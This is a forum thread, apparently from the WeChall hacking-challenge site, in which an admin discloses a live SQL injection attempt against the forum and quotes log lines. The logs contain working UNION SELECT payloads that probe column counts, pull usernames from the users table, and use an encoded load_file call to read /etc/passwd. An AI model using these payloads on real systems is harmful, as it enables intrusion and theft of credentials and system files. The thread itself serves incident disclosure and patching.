Nome Utente: 
Password : 
Restringi sessione all'IP 
Online in 1gg

Hacking attemp

1 2
Posizione globale: 198
Punteggio totale: 110647
Posts : 1795
Grazie: 1390
Voti+: 961
Registrato: 18a 259gg




Ultima visita: 65gg 13ore
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!1Bel post!0Brutto post! Link
Today someone tried to hack around a bit Smile

The attacker was succesfully trying to inject mysql code and made forum.php behave differently.
Luckily i checked the log since a long time, just in the moment the attacker was trying to exploit it.

While the hacker tried variations of malicious input, i uploaded a patch, and checked all sql queries for similar weaknesses. (I was lucky this time ;)

If someone is interested i will post some of the injections here.

Btw: WeChall sourcecode is available wechall.zip, but not always very current.
The geeks shall inherit the properties and methods of object earth.
Posizione globale: 460
Punteggio totale: 55671
Posts : 34
Grazie: 39
Voti+: 19
Registrato: 18a 255gg

Ultima visita: 16a 242gg
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!0Bel post!1Brutto post! Link
I think everybody's interesting in the injections Smile
Posizione globale: 198
Punteggio totale: 110647
Posts : 1795
Grazie: 1390
Voti+: 961
Registrato: 18a 259gg




Ultima visita: 65gg 13ore
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!0Bel post!1Brutto post! Link
This is a quote of our logfiles, IP's have been removed.

Unknown User accessed /forum.php?action=showthread&boardid=14&threadid=NULL%20UNION%20SELECT%201,2,3%20FROM%20lol--

Error:MySqlError(1146) in query 'SELECT *, `challid` AS `foo` FROM `threads` WHERE `threadid`=NULL UNION SELECT 1,2,3 FROM lol-- AND (`challid`='0' OR (SELECT `challid` FROM `solved` WHERE `userid`='0' AND `challid`=`foo`)) LIMIT 1': Table 'gizmore_wechall.lol' doesn't exist.
-------------------------------------------------
Unknown User accessed /forum.php?action=showthread&boardid=14&threadid=NULL%20UNION%20SELECT%201,2,3,4%20FROM%20users--

Error:MySqlError(1222) in query 'SELECT *, `challid` AS `foo` FROM `threads` WHERE `threadid`=NULL UNION SELECT 1,2,3,4 FROM users-- AND (`challid`='0' OR (SELECT `challid` FROM `solved` WHERE `userid`='0' AND `challid`=`foo`)) LIMIT 1': The used SELECT statements have a different number of columns.
------------------
now he was trying to guess the number of returned columns
btw: mysql errors were reported to the attacker as shown in the logs
-------------------
Unknown User accessed /forum.php?action=showthread&boardid=14&threadid=NULL%20UNION%20SELECT%20username,username,username,username,username,username,username,username,username,username,username%20FROM%20users--

Error:MySqlError(1054) in query 'SELECT COUNT(*) FROM `posts` WHERE `threadid`=alt3rn4tiv3 LIMIT 1': Unknown column 'alt3rn4tiv3' in 'where clause'.
-------------------
the one above looks really weird to me, and i am a clueless why "alt3rn4tiv3" is shown :s
------------------------------
Unknown User accessed /forum.php?action=showthread&boardid=14&threadid=NULL%20UNION%20SELECT%20load_file(CHAR(47,%20101,%20116,%2099,%2047,%20112,%2097,%20115,%20115,%20119,%20100,%2047)),2,3,4,username,username,username,username,username,username,username%20FROM%20users%20WHERE%20userid%20=%2081--

Error:MySqlError(1064) in query 'SELECT COUNT(*) FROM `posts` WHERE `threadid`= LIMIT 1': You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LIMIT 1' at line 1.
-----------------------------
And this one was the last for now Smile
I hope i really got lucky and no harm was caused.

Greets
Gizmore
The geeks shall inherit the properties and methods of object earth.
Posizione globale: 31417
Punteggio totale: 0
Posts : 275
Grazie: 250
Voti+: 189
Registrato: 26a 342gg
Ultima visita: 0s
L'utente è Online
Hacking attemp
Google/traduci1Grazie!0Bel post!1Brutto post! Link
haha, yeah it was me Smile

the idea of a `hacking` site, vul. to SQL injections, is just very opening to the knowledge of site owners...

work on your security, before you open a hacking site, k?

here is my site: darkmindz.com, you should check it out for.. real hacking deals i guess...

anyways, keep up the good work, security, etc. and have a good day
Posizione globale: 24
Punteggio totale: 390563
Posts : 263
Grazie: 215
Voti+: 274
Registrato: 18a 258gg






Ultima visita: 114gg 23ore
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!0Bel post!1Brutto post! Link
/me slaps Gizmore around a bit with the frozen trout
Posizione globale: 82
Punteggio totale: 212797
Posts : 148
Grazie: 207
Voti+: 109
Registrato: 18a 259gg
Avatar di Kender



Ultima visita: 4a 230gg
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!0Bel post!1Brutto post! Link
@romeo: this is not a hacking site Smile
We do welcome attempts to find bugs & vulnerabilities, just let us know when you find something.

We're not professional PHP coders and can use all the help we can get..
Posizione globale: 184
Punteggio totale: 115121
Posts : 166
Grazie: 164
Voti+: 121
Registrato: 18a 251gg
Avatar di Z



Ultima visita: 170gg 14ore
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!0Bel post!1Brutto post! Link
RoMeO pwned:
http://stashbox.org/755566/antisec.txt
Ultima modifica: Z - 02 Gen 2010 - 22:01:23
Posizione globale: 133
Punteggio totale: 148489
Posts : 26
Grazie: 26
Voti+: 19
Registrato: 17a 357gg
Avatar di busyr


Ultima visita: 1a 7gg
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!1Bel post!0Brutto post! Link
Nice article..
Posizione globale: 366
Punteggio totale: 67772
Posts : 32
Grazie: 30
Voti+: 14
Registrato: 17a 285gg



Ultima visita: 5a 330gg
L'utente è Offline
Hacking attemp
Google/traduci1Grazie!0Bel post!1Brutto post! Link
I really enjoyed reading that. Bit over the top maybe, but still, it's never so funny when you are on the recieving end, eh?
Posizione globale: 198
Punteggio totale: 110647
Posts : 1795
Grazie: 1390
Voti+: 961
Registrato: 18a 259gg




Ultima visita: 65gg 13ore
L'utente è Offline
Hacking attemp
Google/traduci2Grazie!2Bel post!0Brutto post! Link
And funny the guy found some SQLI here and got caught by accident Drool

It was quite exciting when he was doing the injections while i was patching it, nice timing Smile

Meanwhile, wechall should be quite secure.
The geeks shall inherit the properties and methods of object earth.
1 2
dxer, quangntenemy, TheHiveMind, Z, balicocat, Ge0, arraez, jcquinterov, hophuocthinh, alfamen2, burhanudinn123, Ben_Dover, stephanduran89, braddie0, fpombal, csuquvq utenti hanno sottoscritto il thread e ricevo le E-Mail di notifica.
1 persone stanno visualizzando il thread.
Questo thread è stato visualizzato 9725 volte.

PHP Fatal Error(1): Constant E_STRICT is deprecated since 8.4, the error level was removed in www/protected/config.php line 6


Backtrace starts in [unknown file] line ?. GWF_Debug::shutdown_function() core/inc/util/GWF_Debug.php line 109. GWF_Debug::error_handler().... core/inc/util/GWF_Debug.php line 180.